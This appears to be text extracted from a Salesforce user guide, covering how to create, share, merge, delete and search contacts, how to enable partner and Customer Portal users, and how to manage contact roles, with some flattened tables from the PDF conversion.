User Permissions Needed To view contacts: To edit contacts: Read on contacts Edit on contacts

To edit accounts on contacts enabled to use a Customer Portal: Edit on contacts AND Edit Self-Service To edit accounts on contacts enabled to use a partner portal: Edit on contacts AND Manage Partners To view person accounts: To edit person accounts: Read on accounts and contacts Edit on accounts and contacts

Related lists, such as opportunities, display information related to a contact. Hover over the links at the top of a detail page to display the corresponding related list and its records. If Chatter is enabled, hover links display below the feed. An interactive overlay allows you to quickly view and manage the related list items. Click a hover link to jump to the content of the related list. If hover links are not enabled, contact your Salesforce administrator. If hover details are enabled, hover over any lookup field on the detail page to view key information about a record before clicking into that record's detail page. To directly add new items, click New (or the equivalent button) at the top of a related list. For example, clicking New Case lets you add a new case. To change the number of records shown for related lists, click View More below a related list, or click fewer or more at the bottom of the page.

Viewing Related Lists


The related lists you see are determined by your: Personal customization Administrator's page layout customizations Permissions to view related data

See Also:
Contact History

196

Contacts

Viewing Contact Updates (Chatter)

Viewing Contact Updates (Chatter)


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Display a Chatter feed of updates, comments, and posts about the contact. Note: If Chatter isn't enabled, contact your administrator.

Show or hide Chatter feeds using the Show Feed and Hide Feed links at the top of a feed. To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. To view the full feed, above the post, click All Updates.

Following Contacts
When you follow a contact, your Chatter feed includes field changes and contact feed updates. To follow a contact, click Follow. To stop following, click Following . The Followers list shows you who is following the contact. To view a full list, click Show All. To automatically follow records you create, go to Your Name > Setup > My Chatter Settings > My Feeds and select Automatically follow records I create.

See Also:
Chatter Overview Using Chatter Feeds

Creating Partner Users


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, disable, or deactivate users: To create contacts: To view contacts: Manage Users Create on contacts Read on contacts

Once you have a partner account created, you can add partner users to the account as contact records. Partner users are Salesforce users with limited capabilities focused on managing leads. Partner users log in to Salesforce through the portal. Before creating partners, you should configure your portals; otherwise, your partner users may attempt to log into your portal before your portals are ready.

197

Contacts

Working with Partner Users

To create a partner user: 1. View the partner account for which you want to create a partner user. 2. Create a new contact for the partner user. Choose New from the Contacts related list on the partner account. Fill in the appropriate details, and click Save. 3. On the contact detail page, click Work with Portal and choose Enable Partner Portal Login. 4. Edit the user record for this partner. 5. Click Save. Once a partner user has been created, the partner account and the partner user can be edited independently. Changes made to one are not reflected in the other. Updating a contact associated with a partner user does not update the partner user. To troubleshoot issues or ensure the portal is configured appropriately, on the contact detail page, click Work with Portal and choose Login As Portal User. A new browser window opens and you are logged into the portal as the portal user.

Tips on Creating Partner Users


Consider the following when creating partner users: If you have enabled a user as a delegated administrator, the user cannot create a partner user unless at least one partner profile has been added to the Assignable Profiles related list and the user has the Manage Users permission. The available profiles for the partner user are limited to the Partner User profile or profiles that have been cloned from it. Unlike a standard user, the partner user role is automatically assigned based on the account name. The partner user role is a subordinate of the account owner's role, therefore, all data for the partner user role rolls up to the partner account owner's role. Keep in mind that if you disable a portal user, their partner user role becomes obsolete and their data no longer rolls up to the partner account role. Partner users and contacts cannot be deleted. If you no longer want a partner user to have access to the portal, deactivate the partner user. In addition, partner contacts cannot be owned by a non-partner account. You can merge a portal contact record with another portal contact. To disable a partner account, click Work with Portal and choose Disable Partner Account. Disabling the account disables up to 15 of its partner portal users and permanently deletes all of the account's partner portal roles and groups. You cannot restore deleted partner portal roles and groups. After you disable a partner account, you can re-enable individual contacts as partner portal users. Re-enabling a contact for a partner portal creates a new portal user and role that is not associated with the previous partner portal user and role. We recommend disabling a partner account if the account was accidentally enabled for portal access.

See Also:
Disabling and Deactivating Portal Users Enabling Partner Super User Access

Working with Partner Users


Available in: Enterprise, Unlimited, and Developer Editions

Channel managers are associated with the partner users they manage by partner account ownership. A channel manager who owns a partner account can access all the information and manage all the activities of the partner users associated with that account.

198

Contacts

Working with Partner Users

Some common tasks when managing your partner users include: Creating a partner account Creating partner users Enabling partner super user access Disabling and deactivating partner users Assigning leads to partner users Assigning events to partner users Assigning cases to partner users Deactivating partner users Editing partner user information Change the account associated with a partner user Merge partner users Tracking partner activity Giving partner users access to your knowledge base Enabling partner users to request meetings

In addition, here are some other ways you can work with your partner users: Enable partner super user access Partner super users have access to data owned by all partner users and partner super users in the same role and those below them in the portal account hierarchy, even if the organization-wide default setting is Private. Partner super user access applies to cases, leads, custom objects, and opportunities only. Assign tasks to partner users If your partner users have the appropriate field-level security settings, they can view and create activities related to leads or opportunities. Add tasks to leads or opportunities to remind your partner users of particular tasks you would like them to perform. You can view the activity history for a particular lead or opportunity, or use reports to track activities assigned to partner users. Partner users can only assign tasks to other users in their partner account or to their channel manager. Use notes and attachments to communicate with partner users Partner users can create, view, and edit notes and add attachments from the Notes and Attachments related list on selected detail pages, including lead, solution, and opportunity detail pages. You can use notes and attachments to share documents or information with partner users. If Chatter is enabled for your organization, feed attachments are included in the Notes and Attachments related list. Portal users can download feed attachments, but can't preview, edit, or delete them. The size limit for an attached file is 5 MB. Click Login As Partner Portal User to troubleshoot When you view the contact detail page for a partner user, you can click Login As Portal User. This opens a new browser window and logs you into the portal as the partner user. Click this button to troubleshoot any issues partner users are experiencing. You may also click this button to ensure that your portal is configured appropriately. The Login As Portal User button is only available if you have the Manage Partners permission and one of the following: the Modify All Data permission or you are the partner account owner or higher in the role hierarchy. The Login as Portal User button does not display if you do not meet these requirements, or if the portal user is inactive.

199

Contacts

Self-Service for Contacts and Person Accounts

Reset a partner user's password When you view the user detail page for a partner user, you can click Reset Password to reset the partner user's password. Partner users can reset their own password by clicking Forgot Password? on the partner portal login page. Expose a solution in the portal Select Visible in Self-Service Portal on the solution. Add products to opportunities If the Products related list is available to partner users on opportunities, then you can add products to the opportunities for your partners.

See Also:
About Partner Portal User Management Managing Partner Users Enabling Partner Super User Access About Partner Portal Channel Manager User Management Delegating Partner User Administration Partner Portal Best Practices Enabling Email in the Partner Portal Assigning Events to Partner Users Enabling Cases in the Partner Portal

Self-Service for Contacts and Person Accounts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Self-Service users: Edit Self-Service Users

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal. To allow a customer to access your Self-Service portal, you must enable Self-Service for the customers contact or person account record: 1. If the customer is a contact, click the Enable Self-Service button on the contact detail page. If the customer is a person account, click the Enable Self-Service button on the person account detail page. 2. Verify the general information and locale settings, and enter any missing information. Note that the customer's Self-Service Username defaults to his or her Email. 3. Optionally, select the Super User checkbox to enable the customer as a Self-Service super user who can view case information, add comments, and upload attachments for all cases submitted by anyone in his or her company.

200

Contacts

Creating Contacts

4. Select Generate new password and notify user immediately to email a Self-Service username and password to the customer. 5. Click Save. Note: A Self-Service user can only view cases in the Self-Service portal that are associated with his or her account record. To disable Self-Service for a customer: 1. Click the View Self-Service button on the detail page. 2. Click Edit, and deselect the Active box. 3. Click Save. To enable more than one Self-Service user at a time, see Enabling Multiple Self-Service Users on page 1454. Note: You cannot delete an active Self-Service user; you can only deactivate his or her access to the Self-Service portal. In addition, you cannot delete a contact or person account that is associated with an active Self-Service user. Instead, deactivate his or her access to the Self-Service portal and then delete the contact or person account.

See Also:
Setting Up Self-Service What is a Person Account?

Creating Contacts
Available in: All Editions except Database.com

User Permissions Needed To view contacts: To create contacts: Read on contacts Create on contacts

To create a contact, select Contact from the Create New drop-down list in the sidebar, or click New next to Recent Contacts on the contacts home page. Enter the information for the contact. Click Save when you are finished, or click Save & New to save the current contact and add another. To automatically associate a contact with an account, view the account and click New Contact in the task bar. You can also select New in the Contacts related list of an account. If Quick Create is enabled by your administrator, you can also add a contact on the contacts home page. Enterprise, Unlimited, and Developer Edition organizations can activate record types and ask you to choose a Record Type when creating a contact. This determines the picklist values available when creating and editing a record. If your organization uses divisions, the division of a new contact is automatically set to the division of the related account.

201

Contacts

Cloning Contacts

Note: Contacts that are not linked to an account are always private, regardless of your organizations sharing model. Only the owner of the contact and administrators can view it. Sharing rules and workflow rules do not apply to private contacts. If your organization uses divisions, private contacts always belong to the global division.

See Also:
Cloning Contacts Contact Fields Contacts Home

Cloning Contacts
Available in: All Editions except Database.com

User Permissions Needed To clone contacts: Create on contacts

The Clone button on a contact quickly creates a new contact with the same information as the existing contact, for example, when you need to add multiple contacts for the same account. Click Clone on an existing contact. Enter or change any information for the new contact, and click Save. Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

See Also:
Contact Fields

202

Contacts

Enabling the Customer Portal for Contacts and Person Accounts

Enabling the Customer Portal for Contacts and Person Accounts


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Customer Portal users, or to log in as a portal user: Edit on the account associated with the Customer Portal user AND Edit Self-Service Users

To allow a customer to access your Salesforce Customer Portal, you must enable the customer's contact or person account record as a Customer Portal user. You can either disable or deactivate Customer Portal users at any time. To enable the Customer Portal for a customer: 1. Click Work with Portal and choose Enable Customer Portal User from the drop-down button on the contact or person account detail page. 2. Verify the general information and locale settings, and enter any missing information. Note that the customer's Username defaults to his or her Email. 3. Select a portal user license. The user license you choose determines the permission sets, user profile, and role hierarchy options you can select for the Customer Portal user. See Customer Portal User Licenses on page 1785. 4. Select Generate new password and notify user immediately to email a Customer Portal username and password to the customer. If your organization uses multiple Customer Portals, a portal user can access all the Customer Portals assigned to his or her profile with one username and password. See Creating Multiple Customer Portals on page 1754. 5. Click Save. To troubleshoot or confirm the portal configuration, on the contact detail page, click Work with Portal and choose Login As Portal User. This opens a new browser window and logs you into the portal as the partner user.

Tips on Enabling the Customer Portal for Contacts


Consider the following when enabling the Customer Portal for contacts: To view or edit an enabled contact's access to your Customer Portal, on the contact detail page, click Work with Portal and choose View Customer Portal User. You cannot enable the contact for the Customer Portal unless the owner of the contact's account is associated with a role in your organization. The first time you enable a contact for the Customer Portal on an account, you cannot assign the contact to a portal role. The contact is automatically assigned to the Customer User role, which includes the name of the contact's account. You can update contact's portal role later. This behavior doesn't apply to high-volume portal users because they don't have roles and aren't included in the role hierarchy.

203

Contacts

Enabling the Customer Portal for Contacts and Person Accounts

A contact can be either a partner or Customer Portal user, but not both. If a user is a partner user and a Customer Portal user, then you need to create two contact records for the user so that he or she can have a separate username and password for each portal. However, a contact can be a Self-Service user as well as a partner or Customer Portal user. Any data created or owned by a Self-Service user can be visible to a partner or Customer Portal user associated with the same contact. Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal.

You cannot delete an active Customer Portal user; you can only disable or deactivate his or her access to the Customer Portal. The following table describes whether you can delete contacts that are associated with portal users: State of Portal User Associated to Contact Active portal user Inactive portal user Disabled portal user Can You Delete the Contact? No. This is to ensure that the contact is available if you choose to reactivate the portal user. No. This is to ensure that the contact is available if you choose to reactivate the portal user. Yes. Deleted contacts are sent to the Recycle Bin.

You can change the account on the contact at any time. You can merge contacts enabled to use a Customer Portal. The user's Community Nickname defaults to his or her email alias unless you specify otherwise. For example, if the user's Email is jsmith@company.com, the user's Community Nickname defaults to jsmith when you click Save. Delegated administrators can't assign the High Volume Customer Portal license to contacts.

Tips on Enabling the Customer Portal for Person Accounts


Consider the following when enabling the Customer Portal for person accounts: After the person account is enabled, click Work with Portal and choose View Customer Portal User on the person account detail page to view or edit a person accounts access to your Customer Portal. You can't delete a person account enabled to use a Customer Portal. You can't import person accounts to be automatically enabled to use a Customer Portal. For more information on importing person accounts, see Import My Person Accounts on page 831. Person account users can't self-register for a Customer Portal. When they try to do so, they receive an email notification that instructs them to contact the portal administrator. See Enabling Customer Portal Login and Settings on page 1764. You can't merge person accounts enabled to use a Customer Portal.

See Also:
Setting Up Your Customer Portal What is a Person Account? Enabling Partner Super User Access

204

Contacts

Changing the Account on Contacts Enabled for Portals

Changing the Account on Contacts Enabled for Portals


Available in: All Editions Database.com

User Permissions Needed To view contacts: To edit contacts: Read on contacts Edit on contacts

To edit accounts on contacts enabled to use a Customer Portal: Edit on contacts AND Edit Self-Service To edit accounts on contacts enabled to use a partner portal: Edit on contacts AND Manage Partners To view person accounts: To edit person accounts: Read on accounts and contacts Edit on accounts and contacts

When you change the account on contacts enabled for a Customer Portal or partner portal: Portal users can access their own cases and opportunities from their previous accounts. Contacts that are Self-Service users can view on the Self-Service portal only cases that are associated with their current account. Self-Service users cannot view opportunities. Contacts' portal roles are automatically updated to match the name of the account to which they are transferred (unless they're high-volume portal users, which don't have roles). For example, the portal role Account A Customer User becomes Account B Customer User (because a portal role's name includes the name of the account with which it is associated). Portal roles are unique to each account and are located under the account owner's role in your organization's role hierarchy. When you transfer a partner portal user to another account: Opportunities on each account are automatically recalculated through your organization's forecast hierarchy. Opportunities owned by the partner portal user remain in the previous account. This is because portal users' roles are updated when you transfer them between accounts. Delegated partner user administrators and delegated Customer Portal user administrators can update portal users on accounts to which they are transferred. You can only transfer contacts enabled for a partner portal to accounts that are enabled for a partner portal.

See Also:
Enabling the Customer Portal for Contacts and Person Accounts Self-Service for Contacts and Person Accounts

205

Contacts

Contact Fields

Contact Fields
The available fields vary according to which Salesforce Edition you have.

A contact has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) If the contact record was added from Data.com, certain fields, as identified here, will be populated with the Data.com or Dun & Bradsteet (D&B) value, if a value is available. Field
Account Name

Description Name of account that contact is linked to. You can enter the account name, or select the account using the lookup icon. Private contacts are those that do not have an account. When selected, allows contacts to self-register for access to your Customer Portal. Name of assistant. Up to 40 characters are allowed in this field. Assistants phone number. Up to 40 characters are allowed in this field. Birthday. You can enter a date, or choose a date from the calendar that displays when you put your cursor in the field. Indicates the records clean status as compared with Data.com. Values are: Not Compared, In Sync, Reviewed, Different, Not Found, or Inactive. The default currency for all currency amount fields in the contact. Amounts are displayed in the contact currency, and are also converted to the users personal currency. Available only for organizations that use multiple currencies. Division to which the contact belongs. This value is automatically inherited from the related account.

Allows Value from Data.com or D&B (D&B)

Allow Customer Portal Self-Registration

Assistant

Asst. Phone

Birthdate

Clean Status

(Data.com)

Contact Currency

Contact Division

206

Contacts

Contact Fields

Field

Description Available only in organizations that use divisions to segment their data.

Allows Value from Data.com or D&B

Contact Owner

Assigned owner of contact. Not available in Personal Edition. Name of the field that determines what picklist values are available for the record. Available in Enterprise, Unlimited, and Developer Editions. User who created the contact including creation date and time. (Read only) The ID of the company in Data.com When Salesforce records are compared with Data.com records (via either manual cleaning or automated clean jobs), if Data.com finds a match, the two records are linked by this fields numeric value. Associated business or organizational unit. Up to 80 characters are allowed in this field. Description of contact. Up to 32 KB of data are allowed in this field. Only the first 255 characters display in reports. Indicates that the contact does not want to be contacted by phone. If you use Data.com, the Phone field value will be masked out in search results and on the Contact Card, and it will be blank in .csv files created when you export records. Email address. Must be a valid email address in the form: jsmith@acme.com. Up to 80 characters are allowed in this field. Click the email address in this field to send an email using your personal email application. This type of email is not logged as an activity on the contact record. If the Gmail Buttons and Links feature is enabled, you can click the Gmail link next to the field to send an email from your Gmail account. See Using Gmail in (Data.com) (Data.com)

Contact Record Type

Created By

Data.com Key

Department

Description

Do Not Call

Email

207

Contacts

Contact Fields

Field

Description Salesforce on page 337 for more information.

Allows Value from Data.com or D&B

Email Opt Out

Indicates that the contact does not want to receive email. If you use Data.com, the Email field value will be masked out in search results and on the Contact Card, and it will be blank in .csv files created when you export records. Contacts fax number. Up to 40 characters are allowed in this field. Indicates if the person has requested not to be included in broadcast faxes. First name of the contact, as displayed on the contact edit page. Up to 40 characters are allowed in this field. First name of the contact translated into the local language. Persons home phone number. Up to 40 characters are allowed in this field. Last name of the contact, as displayed on the contact edit page. Up to 80 characters are allowed in this field. Last name of the contact translated into the local language. The date that the most recent Stay-in-Touch request was sent. The date that the most recent Stay-in-Touch request was returned and merged. Record source, for example, Advertisement, Partner, or Web. Entry is selected from a picklist of available values, which are set by an administrator. Each picklist value can have up to 40 characters. Street mailing address. Up to 255 characters are allowed in this field. City portion of mailing address. Up to 40 characters are allowed in this field. (D&B) (D&B)

Fax

Fax Opt Out

First Name

First Name (Local)

Home Phone

Last Name

Last Name (Local)

Last Stay-in-Touch Request Date Last Stay-in-Touch Save Date

Lead Source

Mailing Street

Mailing City

208

Contacts

Contact Fields

Field
Mailing State/Province

Description State or province portion of mailing address. Up to 20 characters are allowed in this field. Zip or postal code portion of mailing address. Up to 20 characters are allowed in this field. Country portion of mailing address. Up to 40 characters are allowed in this field. Cellular or mobile phone number. Up to 40 characters are allowed in this field. User who last changed the contact fields, including modification date and time. This does not track changes made to any of the related list items on the contact. (Read only) Combined first and last name of contact, as displayed on the contact detail page. Street address portion of additional address. Up to 255 characters are allowed in this field. City portion of additional address. Up to 40 characters are allowed in this field. State or province portion of additional address. Up to 20 characters are allowed in this field. Zip or postal code portion of additional address. Up to 20 characters are allowed in this field. Country portion of additional address. Up to 40 characters are allowed in this field. Additional phone number listing. Up to 40 characters are allowed in this field. Contacts primary phone number. Up to 40 characters are allowed in this field. Name of contacts manager. You can enter an existing contact name, or select the contact using the lookup icon. Title for addressing the person, for example, Mr., Ms., Dr., or Prof. Entry

Allows Value from Data.com or D&B (D&B)

Mailing Zip/Postal Code

(D&B)

Mailing Country

(D&B)

Mobile

Modified By

Name

(Data.com)

Other Street

Other City

Other State/Province

Other Zip/Postal Code

Other Country

Other Phone

Phone

Reports To

Salutation

209

Contacts

Contact Fields

Field

Description is selected from a picklist of available values, which are set by an administrator. Each picklist value can have up to 40 characters.

Allows Value from Data.com or D&B

Title

Person's position within his or her organization. Up to 80 characters are allowed in this field. Listing of custom links for contacts as set up by your administrator. For Self-Service contacts only. The Username defaults to the Email. The contact must enter their username when logging in to the Self-Service portal. Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal.

(Data.com)

Custom Links

Username

See Also:
Using Contacts Creating Contacts Cloning Contacts Data.com Product Suite Overview

210

Contacts

Displaying Contact Hierarchy

Displaying Contact Hierarchy


Available in: All Editions

User Permissions Needed To view org chart: To change org chart: Read on contacts Edit on contacts

To display an organization chart, enter the name of the contacts manager in the Reports To field for each contact in the account. Then, click the [View Org Chart] link on any contact in the account. Salesforce displays an organization chart showing the contact hierarchy with the direct reports for each contact you entered. Note: To maintain a complete organization chart, make sure every contact in an account contains another contact in the Reports To field. The only exception to this is the contact at the very top of the organization chart. If only one contact in an account reports to no one, that account will have a single organization chart for the entire account. Because of its flexibility, this feature will not prevent you from selecting Reports To contacts from other accounts.

Merging Duplicate Contacts


Available in: All Editions except Database.com Customer Portal is available in: Enterprise, Unlimited, and Developer Editions Partner Portal is available in: Enterprise and Unlimited Editions

User Permissions Needed To merge contacts: To merge Customer Portal enabled contacts: Delete on contacts Delete on contacts AND Edit Self-Service Users To merge partner portal enabled contacts: Delete on contacts AND Manage Partners

To merge duplicate contacts associated with a common account:

211

Contacts

Merging Duplicate Contacts

1. From the Contacts related list of an account, click Merge Contacts. 2. Check the rows of up to three contacts you want to merge. You can search the list of associated contacts to shorten the list, or click All Contacts to view the full list of associated contacts. Click Next to continue. 3. Select one contact as the Master Record. Any data in hidden or read-only fields will be taken from the Master Record. However, administrators and users with the Edit Read Only Fields permission can manually select which read-only fields to retain. Note that hidden fields are not displayed. 4. Select the partner portal or Customer Portal user you want to retain. This option is available only if a partner portal or Customer Portal is enabled for your organization. You can select Not a portal user so that a merged contact does not include a portal user. 5. Select the fields that you want to retain from each record. When there is conflicting data, the fields in the left column are preselected and the row is marked in purple. 6. Click the Merge button to complete the merge.

Tips for Merging Contacts


Consider the following when merging contacts: Any related items from any of the duplicate contacts will be associated with the merged contact. If you are merging duplicate contacts that are members of different campaigns, the campaign Member Status Updated date for each contact is retained and associated with the newly merged contact. Before merging contacts that both have active Self-Service usernames, deactivate one Self-Service username. The merged record will adopt the active Self-Service username. For more information on the Self-Service username field, see Contact Fields on page 206. Any account sharing and manual sharing for the master contact are applied to the newly merged contact. When you merge contacts that have Reports To relationships, the newly merged contact retains the Reports To field from the selected Master Record. All discarded duplicate records are moved to the Recycle Bin. The newly merged contact displays the Created By date from the oldest contact you are merging, and shows the merge date as the Modified By date. In organizations that use divisions, the merged contact is assigned to the division of the related account. Merging contacts is not tracked in the setup audit trail. You can delete a contact if you are an administrator, the contact owner, or a user above the contact owner in the organization role hierarchy, and if you have the appropriate user permission. The newly merged contact is automatically included on any case teams in which the contacts were associated. The master contact replaces the duplicate contacts in all the requested meetings they were invited to. Also, all meeting messages written by the duplicate contacts are automatically associated with the master contact. (Meeting messages appear on the requested meeting's Web page and are visible to all invitees.) The master contact replaces the duplicate contacts in all the scheduled meetings they were invited to. However, make sure to edit the event detail page and click Add to Invitees to add the new master contact to the meeting invitee list.

Tips for Merging Contacts with Portal Users


Consider the following when merging contacts associated with portal users: Review the information in Tips for Merging Contacts, which also applies to merging contacts associated with portals users. You can merge a portal contact record with another portal contact. For example, you can merge contacts enabled to use: A partner portal or Customer Portal. A partner portal with contacts enabled to use a Customer Portal or vice-versa.

212

Contacts

Sharing Contacts

A partner portal or Customer Portal with contacts that are not enabled to use a portal. When you merge contacts that include partner portal and Customer Portal users, you must choose which type of portal user to retain. The portal user you do not retain is disabled. However, after the contacts are merged, you can enable the contact for access to the portal from which you removed during the merge process. To merge contacts associated with various accounts: 1. Transfer the contacts you want to merge into one account. 2. Merge the contacts associated with the common account. Portal users who are disabled during the merge process retain ownership of any records in which they are the owner. For example, if a portal user owns a case, and the portal user is disabled, he or she remains the owner of the case until the case is updated with a new owner.

See Also:
Merging Duplicate Accounts Enabling the Customer Portal for Contacts and Person Accounts Creating Partner Users

Sharing Contacts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Your administrator defines your organization's sharing model for contact access. However, you can extend sharing privileges for your own data on a contact-by-contact basis. Use contact sharing to increase access to your contacts; you cannot restrict access beyond your organization's default access levels. To view and manage sharing details, click Sharing on the contact detail page. The Sharing Detail page lists the users, groups, roles, and territories that have sharing access to the contact. On this page, you can do any of the following: To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click Add to grant access to the record for other users, groups, roles, or territories. Click Expand List to view all users that have access to the record. For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.

Special Considerations
Make sure you are sharing records with users who have the appropriate Read object permission for viewing the shared records. You cannot manually share a private contact (a contact without an account). If you have permission to share an account, Salesforce automatically provides Read access to the associated account when granting sharing access to a contact if the recipient does not already have it. If the recipient does not have access to the account, you cannot share the contact unless you have permission to share the account as well. If your organization-wide default for contacts is set to Controlled by Parent, the Contact Access options are not available when sharing related records like accounts; instead, all access to contacts is determined by the user's access to the contact's account.

213

Contacts

Sending Stay-in-Touch Requests

Contact sharing is not available for organizations that have territory management or person accounts. If your organization already has person accounts enabled, the organization-wide default for contacts is set to Controlled by Parent and is not editable. If your organization does not have person accounts yet you want to enable one of them, set your organization-wide default for contacts to Controlled by Parent, which removes all your contact sharing rules and manually shared contacts.

See Also:
Granting Access to Records Viewing Which Users Have Access

Sending Stay-in-Touch Requests


Available in: All Editions except Database.com

User Permissions Needed To request updates: Send Stay-in-Touch Requests

A quick and easy way to retrieve updated contact information from your contacts and person accounts is to send Stay-in-Touch requests. You can request updates from: Contacts you own Contacts associated with accounts you own Contacts you can edit due to a sharing rule or manual record sharing Person accounts you own Note: The record must have a valid email address.

How it Works
1. On the detail page of a contact or person account, click Request Update either at the top of the page or in the Activity History related list. 2. An outgoing email is created according to your personal Stay-in-Touch settings. As needed, edit the details of the email. If Spell Checker is enabled for your organization, click Check Spelling to check the spelling of the message. Spell Checker does not support all the languages that Salesforce supports. For example, Spell Checker doesnt support Thai, Russian, and double-byte languages, such as Japanese, Korean, or Chinese. Click Send to send the email. 3. The recipient receives the email and clicks a link to either provide updates or confirm no changes are necessary. 4. You receive an email notification. Click the link in the email to update, review, and accept or reject the new information.

214

Contacts

Sending Stay-in-Touch Requests

Note: To send individual Stay-in-Touch requests, you must have the Send Email permission. You can send individual Stay-in-Touch requests regardless of the recipients Email Opt Out setting.

See Also:
Editing Stay-in-Touch Settings Merging Updated Contact Information Mass Stay-in-Touch Update What is a Person Account?

Merging Updated Contact Information


When someone responds to a Stay-in-Touch request, you will receive an email that contains a link. To merge the new information into Salesforce: 1. Click Update Now from the email you receive. 2. Review the new and original values. 3. Click Accept Changes to save the new data. Click Reject Changes to ignore the updates and retain the original values. Note: These updates do not trigger workflow rules.

See Also:
Sending Stay-in-Touch Requests

Mass Stay-in-Touch Update


Available in: All Editions except Database.com

User Permissions Needed To send mass Stay-in-Touch updates: Send Email AND Send Stay-in-Touch Requests

Use the Mass Stay-in-Touch wizard to request updated contact information from multiple contacts and person accounts simultaneously. To send a mass Stay-in-Touch email:

215

Contacts

Deleting Contacts

1. On the contacts home page, click Mass Stay-in-Touch from the Tools section. If your organization uses person accounts, the link also appears on the accounts home page. 2. Select a list view of contacts and person accounts from whom you are requesting updated information. You can also edit existing list views and create new list views. 3. Click Go. 4. Select the individuals to whom the request will be sent. Note that records which lack email addresses cannot be selected. Click Next to continue. 5. Review the email to be sent and click Send. Recipients can reply to you via email with their latest information. You can merge these updates as you receive them. Note: Records in which the Email Opt Out box is checked do not appear in the list view, because you cannot send mass emails to them.

See Also:
Sending Stay-in-Touch Requests Editing Stay-in-Touch Settings Merging Updated Contact Information

Deleting Contacts
Available in: All Editions except Database.com

User Permissions Needed To delete contacts: Delete on contacts

To delete a contact, click Del next to the contact on the contacts list page or in the Contacts related list of an account. You can also delete a contact by clicking Delete on the contact detail page. When you delete a contact, all related assets, campaign history, events, tasks, notes, and attachments are also deleted. You do not need the Delete permission on any associated records that are included in the deletion. Associated opportunities, accounts, entitlements, and cases are not deleted with the contact. The deleted contact is moved to the Recycle Bin. If you undelete the contact, any related items are also restored including any inactive Self-Service username. You cannot delete contacts that have associated: Cases Contracts Service contracts Partner user Assets with cases An active Self-Service user An active Customer Portal user

216

Contacts

Searching for Contacts

Note: You can delete a contact if you are an administrator, the contact owner, or a user above the contact owner in the organization role hierarchy, and if you have the appropriate user permission. If you delete or remove an activitys primary contact, another contact becomes the primary contact in its place. You can edit the activity to manually select another primary contact.

See Also:
Recycle Bin Deleting Mass Data Merging Duplicate Contacts

Searching for Contacts


Available in: All Editions except Database.com

User Permissions Needed To view contacts: To view person accounts: Read on contacts Read on accounts and contacts

1. Enter your search terms in the sidebar or header search box. If you're using the sidebar, click Advanced Search... to find matches in additional fields. 2. Click Search. If you're using local contact names, search finds matches for standard or local contact names. 3. From the search results, click an item to open it or click Edit, if available. You can also create a contact list view to locate contacts that match specific criteria.

See Also:
Search Overview What is a Person Account?

217

Contact Roles

Contact Roles Overview

CONTACT ROLES
Contact Roles Overview
Available in: All Editions except Database.com

A contact role defines the part that a contact or person account plays in a specific account, case, contract, or opportunity. For example, Tom Jones might be the Decision Maker for the opportunity, and Mary Smith might be the Evaluator. You can assign a contact role to any contact or person account that affects your account, case, contract, or opportunity. Contacts and person accounts can have different contact roles on various accounts, cases, contracts, or opportunities. The Contact Roles related list of an account, case, contract, or opportunity displays the roles that each contact or person account plays in that record. On person account detail pages, the Opportunity Contact Roles related list displays the opportunities on which the person account is listed in the Account Name field of the opportunity. Note: Users must have the appropriate user permissions and sharing access to view the contact information for any person listed in the appropriate contact roles related lists.

See Also:
Viewing and Editing Contact Roles Adding Contact Roles What is a Person Account?

218

Contact Roles

Viewing and Editing Contact Roles

Viewing and Editing Contact Roles


Available in: All Editions except Database.com

User Permissions Needed To view contact roles: To edit contact roles: Read on accounts, cases, contracts, or opportunities Edit on the related object, such as accounts, cases, contracts, or opportunities AND Read on contacts

The Contact Roles related list of an account, case, contract, or opportunity displays the roles that each contact or person account plays in that record. On person account detail pages, the Opportunity Contact Roles related list displays the opportunities on which the person account is listed in the Account Name field of the opportunity. To add a contact role for the account, case, contract, or opportunity, click New in the Contact Roles related list. See Adding Contact Roles on page 220. To send an email to all contact roles on a case, click Send an Email in the Contact Roles related list. See Sending Email on page 258. If a contact role does not have an email address specified on his or her contact record, the contact is not included in the email. To update a contact role, click Edit next to a contact role. Click Save when you have finished making changes. To mark a contact or person account as primary on the account, contract, or opportunity, click Edit next to the contact role entry, and select the Primary option. Note: On case contact roles, the Primary option is not available. The primary contact on a case is always the contact listed under Contact Name in the Case Detail section. To delete a contact role, click Del next to the contact role you want to delete. To create an opportunity related to a person account, click New in the Opportunity Contact Roles related list on a person account.

See Also:
Contact Roles Overview Adding Contact Roles Contact Role Fields What is a Person Account?

219

Contact Roles

Adding Contact Roles

Adding Contact Roles


Available in: All Editions except Database.com

User Permissions Needed To add contact roles: Edit on the related object, such as accounts, cases, contracts, or opportunities AND Read on contacts

To assign a contact role to a contact or person account: 1. Click New in the Contact Roles related list of an account, case, contract, or opportunity. 2. Click the lookup icon to select a contact or person account. Optionally, click New to create a new contact. When you add or edit contact roles on an opportunity that is associated with a business account, the page automatically displays the contacts for that business account. If the business account has more than 50 contacts, the contacts are not automatically displayed, and you must use the lookup icon to select a contact. 3. Choose a role. 4. Optionally, select Primary to set the contact or person account as primary for the account, contract, or opportunity. Note: On case contact roles, the Primary option is not available. The primary contact on a case is always the contact listed under Contact Name in the Case Detail section. 5. Click Save. When you create an opportunity from a contact detail page, that contact automatically becomes the primary contact on the opportunity. However, a contact role is not automatically assigned. Tip: Adding person accounts in contact roles on accounts is available but not recommended. As a best practice, we recommend using the Partners related list to associate person accounts with other accounts.

See Also:
Contact Roles Overview Viewing and Editing Contact Roles Contact Role Fields What is a Person Account?

220

Contracts

Contact Role Fields

Contact Role Fields


Available in: All Editions except Database.com

A contact role has the following fields, listed in alphabetical order. Field
Contact

